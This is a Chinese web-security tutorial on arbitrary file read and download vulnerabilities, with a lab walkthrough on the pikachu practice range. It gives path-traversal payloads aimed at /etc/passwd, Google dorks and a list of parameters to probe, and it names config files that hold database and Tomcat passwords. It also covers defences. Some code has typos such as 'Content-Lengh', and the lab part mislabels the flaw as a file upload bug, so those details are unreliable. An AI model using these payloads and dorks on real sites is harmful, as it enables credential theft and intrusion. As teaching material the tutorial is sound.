文件操作之文件下载读取(2)

PHP: inc/config. php获得数据库连接字符串中的口令信息
asp: inc/conn.asp文件,获得数据库连接字符串,得到数据库口令。
aspx: web.config网站根目录文件,获得数据库连接信息。
JSP: conf/ tomcat-user.xml文件,获得tomcat管理界面的口令信息
WEB- INF /Web. xml文件,获得数据库连接字符串中的口令信息。

任意文件读取

<?php $filename = "test.txt"; readfile($filename); ?> <?php $filename = "test.txt"; $fp = fopen($filename,"r") or die("Unable to open file!"); $data = fread($fp,filesize($filename)); fclose($fp); echo $data; ?> <?php $filename = "test.txt"; echo file_get_contents($filename); ?>

任意文件下载

直接下载:

<a href="https://www.xx.com/a.zip" >Download</a>

用header()下载:

<?php $filename = "uploads/201607141437284653.jpg"; header('Content-Type: imgage/jpeg'); header('Content-Disposition: attachment; filename='.$filename); header('Content-Lengh: '.filesize($filename)); ?>

Google search

inurl:"readfile.php?file=" inurl:"read.php?filename=" inurl:"download.php?file=" inurl:"down.php?file=" 等等...

漏洞利用代码

readfile.php?file=https://www.jb51.net/etc/passwd readfile.php?file=../../../../../../../../etc/passwd readfile.php?file=../../../../../../../../etc/passwd%00

1.文件被解析,则是文件包含漏洞
2.显示源代码,则是文件读取漏洞
3.提示文件下载,则是文件下载漏洞

漏洞挖掘

可以用Google hacking或Web漏洞扫描器 从链接上看,形如: • readfile.php?file=***.txt • download.php?file=***.rar 从参数名看,形如: • &RealPath= • &FilePath= • &filepath= • &Path= • &path= • &inputFile= • &url= • &urls= • &Lang= • &dis= • &data= • &readfile= • &filep= • &src= • &menu= • META-INF • WEB-INF 目录符号等 ../ ..\ .\ ./等 %00 ? %23 %20 .等

漏洞验证

• index.php?f=../../../../../../etc/passwd • index.php?f=../index.php • index.php?f=file:///etc/passwd 注:当参数f的参数值为php文件时,若是文件被解析则是文件包含漏洞, 若显示源码或提示下载则是文件查看与下载漏洞

漏洞防范

任意文件下载漏洞的简单防护措施
1、过滤“.”符号,使用户在url中无法回溯到上级目录。
2、使用正则表达式严格判断用户输入参数的格式。
3、php.ini配置文件中对于open_basedir进行配置,限定用户的文件访问范围。
4、固定目录

案例 pikuchu靶场-文件下载测试

1、判断是否为文件上传漏洞

在这里插入图片描述


点击任意图片,发现下载了图片,复制图片下载链接查看

?filename=kb.png

查看参数名为filename,查看参数后面的值也与下载的文件名一样
初步判定为文件上传漏洞

2、判断下载路径
filename的文件名是单纯的文件名,可判断是前面加了路径名,也可能是与网站在同一个目录下
通过URL判断文件是通过跳转到execdownload.php页面下载的,我们试试看可不可以直接下载到execdownload.php这个源码

?filename=execdownload.php

在这里插入图片描述

发现显示无法下载,说明该execdownload.php与文件不在同一个路径下,我们尝试下到上一级路径

?filename=../execdownload.php

在这里插入图片描述


成功下载,打开源码发现是在download文件夹下

在这里插入图片描述


内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zysfsf.html